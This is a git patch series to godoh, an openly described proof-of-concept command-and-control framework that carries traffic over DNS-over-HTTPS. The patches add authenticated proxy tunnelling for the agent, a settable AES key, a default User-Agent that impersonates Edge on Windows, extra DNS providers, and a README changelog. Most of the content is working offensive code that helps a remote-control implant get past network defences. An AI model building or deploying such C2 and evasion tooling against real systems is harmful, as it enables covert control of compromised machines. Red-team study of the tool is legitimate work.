From 3683f5240eb2332a7f5493d9add3b318f6b7d4e5 Mon Sep 17 00:00:00 2001
From: froyo75
Date: Mon, 30 Aug 2021 02:51:25 +0200
Subject: [PATCH 1/2] Added features & Fix Bugs
---
Makefile | 2 +-
cmd/agent.go | 52 +++++++++++++++++++++++++++-
cmd/root.go | 19 +++++++----
cmd/test.go | 4 +--
dnsclient/blokada.go | 72 +++++++++++++++++++++++++++++++++++++++
dnsclient/client.go | 28 ++++++++++-----
dnsclient/cloudflare.go | 4 ++-
dnsclient/google.go | 5 ++-
dnsclient/google_front.go | 4 ++-
dnsclient/nextdns.go | 72 +++++++++++++++++++++++++++++++++++++++
dnsclient/quad9.go | 5 ++-
dnsserver/server.go | 8 ++++-
lib/key.go | 7 +++-
lib/options.go | 20 ++++++++---
lib/proxy.go | 39 +++++++++++++++++++++
protocol/utils.go | 1 -
16 files changed, 313 insertions(+), 29 deletions(-)
create mode 100644 dnsclient/blokada.go
create mode 100644 dnsclient/nextdns.go
create mode 100644 lib/proxy.go
diff --git a/Makefile b/Makefile
index 07ea806..0da03de 100644
--- a/Makefile
+++ b/Makefile
@@ -24,7 +24,7 @@ keywarn:
@echo "!!! Not doing this will leave your C2 using the default key!\n"
key:
- sed -i -E "s/const.*/const cryptKey = \`$(K)\`/g" lib/key.go
+ sed -i -E "s/var.*/var cryptKey = \`$(K)\`/g" lib/key.go
install:
go install
diff --git a/cmd/agent.go b/cmd/agent.go
index 51d757c..e8a0219 100644
--- a/cmd/agent.go
+++ b/cmd/agent.go
@@ -1,15 +1,19 @@
package cmd
import (
+ "context"
"encoding/hex"
"fmt"
"io/ioutil"
+ "net"
+ "net/http"
"os"
"os/exec"
"strings"
"time"
"github.com/miekg/dns"
+ "github.com/rs/zerolog/log"
"github.com/sensepost/godoh/lib"
"github.com/sensepost/godoh/protocol"
"github.com/spf13/cobra"
@@ -18,6 +22,11 @@ import (
var agentCmdAgentName string
var agentCmdAgentPoll int
+// Proxy settings
+var proxyAddr string
+var proxyUsername string
+var proxyPassword string
+
// agentCmd represents the agent command
var agentCmd = &cobra.Command{
Use: "agent",
@@ -108,10 +117,15 @@ Example:
}
func init() {
- rootCmd.AddCommand(agentCmd)
+ // setup proxy
+ cobra.OnInitialize(configureProxy)
+ rootCmd.AddCommand(agentCmd)
agentCmd.Flags().StringVarP(&agentCmdAgentName, "agent-name", "n", "", "Agent name to use. (default: random)")
agentCmd.Flags().IntVarP(&agentCmdAgentPoll, "poll-time", "t", 10, "Time in seconds between polls.")
+ agentCmd.Flags().StringVarP(&proxyAddr, "proxy", "X", "", "Use proxy, i.e hostname:port")
+ agentCmd.Flags().StringVarP(&proxyUsername, "proxy-username", "U", "", "proxy username to use")
+ agentCmd.Flags().StringVarP(&proxyPassword, "proxy-password", "P", "", "proxy password to use")
}
// executeCommand executes an OS command
@@ -192,3 +206,39 @@ func downloadFile(fileName string) error {
return nil
}
+
+func configureProxy() {
+ if proxyAddr != "" {
+
+ if proxyUsername == "" || proxyPassword == "" {
+ log.Error().Msg("proxy username or password were not provided")
+ os.Exit(1)
+ }
+
+ dialContext := (&net.Dialer{
+ KeepAlive: 30 * time.Second,
+ Timeout: 30 * time.Second,
+ }).DialContext
+
+ basicDialContext := func(ctx context.Context, network, address string) (net.Conn, error) {
+ conn, err := dialContext(ctx, network, proxyAddr)
+ if err != nil {
+ return conn, err
+ }
+ log.Debug().Str("hostname", proxyAddr).Msg("using proxy")
+ log.Debug().Msg("attempting to inject Basic authentication")
+ err = lib.ProxySetup(conn, address, proxyUsername, proxyPassword, options.UserAgent)
+ if err != nil {
+ log.Error().Msg("failed to inject Basic authentication")
+ return conn, err
+ }
+ return conn, err
+ }
+
+ http.DefaultTransport.(*http.Transport).Proxy = nil
+ http.DefaultTransport.(*http.Transport).DialContext = basicDialContext
+
+ } else {
+ log.Debug().Msg("proxy address not set")
+ }
+}
diff --git a/cmd/root.go b/cmd/root.go
index 7f57958..f07cdd9 100644
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -3,6 +3,7 @@ package cmd
import (
"fmt"
"math/rand"
+
"os"
"time"
@@ -21,7 +22,7 @@ var (
// CompileTimeDomain is the domain set with `make dnsDomain=foo.com`
CompileTimeDomain string
- // options are CLI options
+ // Options are CLI options
options = lib.NewOptions()
)
@@ -40,11 +41,10 @@ var rootCmd = &cobra.Command{
options.SetTLSValidation()
// Setup the logger to use
- log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr, TimeFormat: "02 Jan 2006 15:04:05"})
if options.Debug {
log.Logger = log.Logger.Level(zerolog.DebugLevel)
log.Logger = log.With().Caller().Logger()
- log.Debug().Msg("debug logging enabed")
+ log.Debug().Msg("debug logging enabled")
} else {
log.Logger = log.Logger.Level(zerolog.InfoLevel)
}
@@ -54,6 +54,12 @@ var rootCmd = &cobra.Command{
options.Logger = &log.Logger
+ // configure AES key
+ if options.AESKey != "" {
+ log.Debug().Str("key", options.AESKey).Msg("using AES key")
+ lib.SetAESKey(options.AESKey)
+ }
+
// if we have a compile time domain, use that if one is not set via CLI
if (options.Domain == "") && (CompileTimeDomain != "") {
log.Debug().Str("domain", CompileTimeDomain).Msg("using compile time domain")
@@ -61,10 +67,8 @@ var rootCmd = &cobra.Command{
} else {
log.Debug().Str("domain", options.Domain).Msg("using flag domain")
}
-
},
Run: func(cmd *cobra.Command, args []string) {
-
// by default, start in agent mode
if len(args) == 0 {
agentCmd.Run(cmd, args)
@@ -84,6 +88,7 @@ func Execute() {
func init() {
// logging
+ log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr, TimeFormat: "02 Jan 2006 15:04:05"})
rootCmd.PersistentFlags().BoolVar(&options.Debug, "debug", false, "enable debug logging")
rootCmd.PersistentFlags().BoolVar(&options.DisableLogging, "disable-logging", false, "disable all logging")
@@ -92,6 +97,8 @@ func init() {
rootCmd.PersistentFlags().StringVarP(&options.Domain, "domain", "d", "", "DNS Domain to use. (ie: example.com)")
}
- rootCmd.PersistentFlags().StringVarP(&options.ProviderName, "provider", "p", "google", "Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, raw]")
+ rootCmd.PersistentFlags().StringVarP(&options.ProviderName, "provider", "p", "google", "Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, blokada, nextdns, raw]")
rootCmd.PersistentFlags().BoolVarP(&options.ValidateTLS, "validate-certificate", "K", false, "Validate DoH provider SSL certificates")
+ rootCmd.PersistentFlags().StringVarP(&options.AESKey, "aeskey", "k", "", "AES key used to encrypt data blobs in communications (ie: openssl rand -hex 16)")
+ rootCmd.PersistentFlags().StringVarP(&options.UserAgent, "user-agent", "a", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362", "Setting a custom User-Agent (default: Edge 44 on Windows 10)")
}
diff --git a/cmd/test.go b/cmd/test.go
index b954150..dcab827 100644
--- a/cmd/test.go
+++ b/cmd/test.go
@@ -44,11 +44,11 @@ For example:
break
}
- c := dnsclient.NewGoogleDNS()
+ c := dnsclient.NewGoogleDNS("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102")
values := dnsclient.Lookup(c, testCmdName, dnsType)
fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL)
- d := dnsclient.NewCloudFlareDNS()
+ d := dnsclient.NewCloudFlareDNS("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102")
values = dnsclient.Lookup(d, testCmdName, dnsType)
fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL)
diff --git a/dnsclient/blokada.go b/dnsclient/blokada.go
new file mode 100644
index 0000000..49bb48f
--- /dev/null
+++ b/dnsclient/blokada.go
@@ -0,0 +1,72 @@
+package dnsclient
+
+import (
+ "encoding/json"
+ "io/ioutil"
+ "log"
+ "net/http"
+ "strconv"
+ "time"
+
+ "github.com/miekg/dns"
+)
+
+// Blokada is a Client instance resolving using Blokada DNS-over-HTTPS service
+type Blokada struct {
+ BaseURL string
+ UserAgent string
+}
+
+// Lookup performs a DNS lookup using Blokada
+func (c *Blokada) Lookup(name string, rType uint16) Response {
+
+ client := http.Client{
+ Timeout: time.Second * 20,
+ }
+
+ req, err := http.NewRequest("GET", c.BaseURL, nil)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ req.Header.Set("User-Agent", c.UserAgent)
+ req.Header.Add("accept", "application/dns-json")
+
+ q := req.URL.Query()
+ q.Add("name", name)
+ q.Add("type", strconv.Itoa(int(rType)))
+ q.Add("cd", "false") // ignore DNSSEC
+ q.Add("do", "false") // ignore DNSSEC
+ req.URL.RawQuery = q.Encode()
+ // fmt.Println(req.URL.String())
+
+ res, err := client.Do(req)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ body, err := ioutil.ReadAll(res.Body)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ // fmt.Printf("Blokada DNS RESPONSE BODY:\n%s\n", body)
+
+ dnsRequestResponse := requestResponse{}
+ err = json.Unmarshal(body, &dnsRequestResponse)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fout := Response{}
+
+ if len(dnsRequestResponse.Answer) <= 0 {
+ return fout
+ }
+
+ fout.TTL = dnsRequestResponse.Answer[0].TTL
+ fout.Data = dnsRequestResponse.Answer[0].Data
+ fout.Status = dns.RcodeToString[dnsRequestResponse.Status]
+
+ return fout
+}
diff --git a/dnsclient/client.go b/dnsclient/client.go
index ee9f0e4..1f645b2 100644
--- a/dnsclient/client.go
+++ b/dnsclient/client.go
@@ -6,25 +6,37 @@ type Client interface {
}
// NewGoogleDNS starts a new Google DNS-over-HTTPS resolver Client
-func NewGoogleDNS() *GoogleDNS {
- return &GoogleDNS{BaseURL: "https://dns.google.com/resolve"}
+func NewGoogleDNS(useragent string) *GoogleDNS {
+ return &GoogleDNS{BaseURL: "https://dns.google.com/resolve", UserAgent: useragent}
}
// NewGoogleFrontDNS starts a new Google DNS-over-HTTPS resolver Client
// The Host header for this request is updated in the client itself
-func NewGoogleFrontDNS() *GoogleFrontDNS {
- return &GoogleFrontDNS{BaseURL: "https://www.google.com/resolve"}
+func NewGoogleFrontDNS(useragent string) *GoogleFrontDNS {
+ return &GoogleFrontDNS{BaseURL: "https://www.google.com/resolve", UserAgent: useragent}
}
// NewCloudFlareDNS starts a new Cloudflare DNS-over-HTTPS resolver Client
-func NewCloudFlareDNS() *CloudflareDNS {
- return &CloudflareDNS{BaseURL: "https://cloudflare-dns.com/dns-query"}
+func NewCloudFlareDNS(useragent string) *CloudflareDNS {
+ return &CloudflareDNS{BaseURL: "https://cloudflare-dns.com/dns-query", UserAgent: useragent}
}
// NewQuad9DNS starts a new Quad9 DNS-over-HTTPS resolver Client
-func NewQuad9DNS() *Quad9DNS {
+func NewQuad9DNS(useragent string) *Quad9DNS {
// Use the unfiltered URL.
- return &Quad9DNS{BaseURL: "https://dns10.quad9.net/dns-query"}
+ return &Quad9DNS{BaseURL: "https://dns10.quad9.net:5053/dns-query", UserAgent: useragent}
+}
+
+// Blokada starts a new Blokada DNS-over-HTTPS resolver Client
+func NewBlokadaDNS(useragent string) *Blokada {
+ // Use the unfiltered URL.
+ return &Blokada{BaseURL: "https://dns.blokada.org/dns-query", UserAgent: useragent}
+}
+
+// NextDNS starts a new NextDNS DNS-over-HTTPS resolver Client
+func NewNextDNS(useragent string) *NextDNS {
+ // Use the unfiltered URL.
+ return &NextDNS{BaseURL: "https://dns.nextdns.io/dns-query", UserAgent: useragent}
}
// NewRawDNS starts a new client making use of traditional DNS
diff --git a/dnsclient/cloudflare.go b/dnsclient/cloudflare.go
index 8e33100..5adedfc 100644
--- a/dnsclient/cloudflare.go
+++ b/dnsclient/cloudflare.go
@@ -13,7 +13,8 @@ import (
// CloudflareDNS is a Client instance resolving using Cloudflares DNS-over-HTTPS service
type CloudflareDNS struct {
- BaseURL string
+ BaseURL string
+ UserAgent string
}
// Lookup performs a DNS lookup using Cloudflare
@@ -28,6 +29,7 @@ func (c *CloudflareDNS) Lookup(name string, rType uint16) Response {
log.Fatal(err)
}
+ req.Header.Set("User-Agent", c.UserAgent)
req.Header.Add("accept", "application/dns-json")
q := req.URL.Query()
diff --git a/dnsclient/google.go b/dnsclient/google.go
index 8360fad..612623e 100644
--- a/dnsclient/google.go
+++ b/dnsclient/google.go
@@ -13,7 +13,8 @@ import (
// GoogleDNS is a Client instance resolving using Googles DNS-over-HTTPS service
type GoogleDNS struct {
- BaseURL string
+ BaseURL string
+ UserAgent string
}
// Lookup performs a DNS lookup using Google
@@ -28,6 +29,8 @@ func (c *GoogleDNS) Lookup(name string, rType uint16) Response {
log.Fatal(err)
}
+ req.Header.Set("User-Agent", c.UserAgent)
+
q := req.URL.Query()
q.Add("name", name)
q.Add("type", strconv.Itoa(int(rType)))
diff --git a/dnsclient/google_front.go b/dnsclient/google_front.go
index a187c7c..8a91ace 100644
--- a/dnsclient/google_front.go
+++ b/dnsclient/google_front.go
@@ -14,7 +14,8 @@ import (
// GoogleFrontDNS is a Client instance resolving using Googles DNS-over-HTTPS service,
// fronted using www.google.com
type GoogleFrontDNS struct {
- BaseURL string
+ BaseURL string
+ UserAgent string
}
// Lookup performs a DNS lookup using Google
@@ -32,6 +33,7 @@ func (c *GoogleFrontDNS) Lookup(name string, rType uint16) Response {
// Update the Host client header to dns.google.com
// Ref: https://twitter.com/vysecurity/status/1058947074392125440
req.Host = "dns.google.com"
+ req.Header.Set("User-Agent", c.UserAgent)
q := req.URL.Query()
q.Add("name", name)
diff --git a/dnsclient/nextdns.go b/dnsclient/nextdns.go
new file mode 100644
index 0000000..a9b9b7f
--- /dev/null
+++ b/dnsclient/nextdns.go
@@ -0,0 +1,72 @@
+package dnsclient
+
+import (
+ "encoding/json"
+ "io/ioutil"
+ "log"
+ "net/http"
+ "strconv"
+ "time"
+
+ "github.com/miekg/dns"
+)
+
+// NextDNS is a Client instance resolving using NextDNS DNS-over-HTTPS service
+type NextDNS struct {
+ BaseURL string
+ UserAgent string
+}
+
+// Lookup performs a DNS lookup using NextDNS
+func (c *NextDNS) Lookup(name string, rType uint16) Response {
+
+ client := http.Client{
+ Timeout: time.Second * 20,
+ }
+
+ req, err := http.NewRequest("GET", c.BaseURL, nil)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ req.Header.Set("User-Agent", c.UserAgent)
+ req.Header.Add("accept", "application/dns-json")
+
+ q := req.URL.Query()
+ q.Add("name", name)
+ q.Add("type", strconv.Itoa(int(rType)))
+ q.Add("cd", "false") // ignore DNSSEC
+ q.Add("do", "false") // ignore DNSSEC
+ req.URL.RawQuery = q.Encode()
+ // fmt.Println(req.URL.String())
+
+ res, err := client.Do(req)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ body, err := ioutil.ReadAll(res.Body)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ // fmt.Printf("NextDNS DNS RESPONSE BODY:\n%s\n", body)
+
+ dnsRequestResponse := requestResponse{}
+ err = json.Unmarshal(body, &dnsRequestResponse)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fout := Response{}
+
+ if len(dnsRequestResponse.Answer) <= 0 {
+ return fout
+ }
+
+ fout.TTL = dnsRequestResponse.Answer[0].TTL
+ fout.Data = dnsRequestResponse.Answer[0].Data
+ fout.Status = dns.RcodeToString[dnsRequestResponse.Status]
+
+ return fout
+}
diff --git a/dnsclient/quad9.go b/dnsclient/quad9.go
index da63b33..a2c7940 100644
--- a/dnsclient/quad9.go
+++ b/dnsclient/quad9.go
@@ -13,7 +13,8 @@ import (
// Quad9DNS is a Client instance resolving using Quad9's DNS-over-HTTPS service
type Quad9DNS struct {
- BaseURL string
+ BaseURL string
+ UserAgent string
}
// Lookup performs a DNS lookup using Quad9
@@ -28,6 +29,8 @@ func (c *Quad9DNS) Lookup(name string, rType uint16) Response {
log.Fatal(err)
}
+ req.Header.Set("User-Agent", c.UserAgent)
+
q := req.URL.Query()
q.Add("name", name)
q.Add("type", strconv.Itoa(int(rType)))
diff --git a/dnsserver/server.go b/dnsserver/server.go
index bae6f57..435b486 100644
--- a/dnsserver/server.go
+++ b/dnsserver/server.go
@@ -74,7 +74,6 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
// Add this new stream identifier
h.StreamSpool[ident] = *DNSBuf
log.Info().Str("agent", ident).Msg("new incoming dns stream")
-
break
}
@@ -279,6 +278,13 @@ func (h *Handler) parseARRLabels(r *dns.Msg) (string, byte, int, int, []byte, er
return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse)
}
+ // If the first label or second label is not a valid value
+ // then the data is not interesting (Quad9 case - multiple DNS queries sent by the provider).
+ if len(hsq[0]) < 4 || (len(hsq[1]) == 0 || len(hsq[1]) < 2) {
+ log.Debug().Str("labels", r.Question[0].String()).Msg("question data is not interesting")
+ return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse)
+ }
+
// Based on the protocol, we have fields to parse.
// See protocol.utils.Requestify for details.
diff --git a/lib/key.go b/lib/key.go
index 02e5efb..1282c78 100644
--- a/lib/key.go
+++ b/lib/key.go
@@ -2,4 +2,9 @@ package lib
// AES key used to encrypt data blobs in communications
// $ openssl rand -hex 16
-const cryptKey = `2589213f0c51583dcbaacbe0005e5908`
+
+var cryptKey = `aacf6ed6e4b999a6338d5a025350ea5a`
+
+func SetAESKey(key string) {
+ cryptKey = key
+}
diff --git a/lib/options.go b/lib/options.go
index 630f8e4..7a36a26 100644
--- a/lib/options.go
+++ b/lib/options.go
@@ -24,6 +24,12 @@ type Options struct {
// TLS config
ValidateTLS bool
+
+ // AES Key
+ AESKey string
+
+ // User-Agent
+ UserAgent string
}
// NewOptions returns a new options struct
@@ -69,16 +75,22 @@ func (o *Options) GetDNSClient() (dnsclient.Client, error) {
case "googlefront":
log.Warn().Msg(`WARNING: Domain fronting dns.google.com via www.google.com no longer works. ` +
`A redirect to dns.google.com will be returned. See: https://twitter.com/leonjza/status/1187002742553923584`)
- o.Provider = dnsclient.NewGoogleFrontDNS()
+ o.Provider = dnsclient.NewGoogleFrontDNS(o.UserAgent)
break
case "google":
- o.Provider = dnsclient.NewGoogleDNS()
+ o.Provider = dnsclient.NewGoogleDNS(o.UserAgent)
break
case "cloudflare":
- o.Provider = dnsclient.NewCloudFlareDNS()
+ o.Provider = dnsclient.NewCloudFlareDNS(o.UserAgent)
break
case "quad9":
- o.Provider = dnsclient.NewQuad9DNS()
+ o.Provider = dnsclient.NewQuad9DNS(o.UserAgent)
+ break
+ case "blokada":
+ o.Provider = dnsclient.NewBlokadaDNS(o.UserAgent)
+ break
+ case "nextdns":
+ o.Provider = dnsclient.NewNextDNS(o.UserAgent)
break
case "raw":
o.Provider = dnsclient.NewRawDNS()
diff --git a/lib/proxy.go b/lib/proxy.go
new file mode 100644
index 0000000..ad22930
--- /dev/null
+++ b/lib/proxy.go
@@ -0,0 +1,39 @@
+package lib
+
+import (
+ "bufio"
+ "encoding/base64"
+ "errors"
+ "net"
+ "net/http"
+ "net/url"
+ "strings"
+)
+
+func ProxySetup(conn net.Conn, targetAddr string, username string, password string, useragent string) error {
+
+ hdr := make(http.Header)
+ basicAuth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password))
+ hdr.Set("User-Agent", useragent)
+ hdr.Set("Proxy-Authorization", "Basic "+basicAuth)
+ connectReq := &http.Request{
+ Method: "CONNECT",
+ URL: &url.URL{Opaque: targetAddr},
+ Host: targetAddr,
+ Header: hdr,
+ }
+ connectReq.Write(conn)
+
+ // Read response.
+ br := bufio.NewReader(conn)
+ resp, err := http.ReadResponse(br, connectReq)
+ if err != nil {
+ return err
+ }
+ if resp.StatusCode != 200 {
+ f := strings.SplitN(resp.Status, " ", 2)
+ return errors.New(f[1])
+ }
+
+ return nil
+}
diff --git a/protocol/utils.go b/protocol/utils.go
index eaaf09d..d20c791 100644
--- a/protocol/utils.go
+++ b/protocol/utils.go
@@ -60,7 +60,6 @@ func Requestify(data []byte, protocol int) []string {
for _, s := range lib.ByteSplit(data, 90) {
labelSplit := lib.ByteSplit(s, 30)
-
// Having the data split into 3 labels, prepare the data label
// that will be used in the request.
var dataLabel string
From baf7ecda1311baef154aabb662824110cc53df49 Mon Sep 17 00:00:00 2001
From: froyo75
Date: Mon, 30 Aug 2021 02:56:08 +0200
Subject: [PATCH 2/2] Update README.md
---
README.md | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/README.md b/README.md
index ed577ff..da3c032 100644
--- a/README.md
+++ b/README.md
@@ -14,6 +14,14 @@
+## The following updates have been implemented from the latest current version of [godoh](https://github.com/sensepost/godoh)
+
+* Added support for HTTP basic authentication proxy
+* Added support for specifying a custom "AES key" from command line (used to encrypt data blobs in communications)
+* Added support for specifying a custom "User-Agent" (default: Edge 44 on Windows 10) from command line
+* Added Blokada & NextDNS providers support
+* Fix issues with Quad9 provider
+
## introduction
`godoh` is a proof of concept Command and Control framework, written in Golang, that uses DNS-over-HTTPS as a transport medium. Currently supported providers include Google, Cloudflare but also contains the ability to use traditional DNS.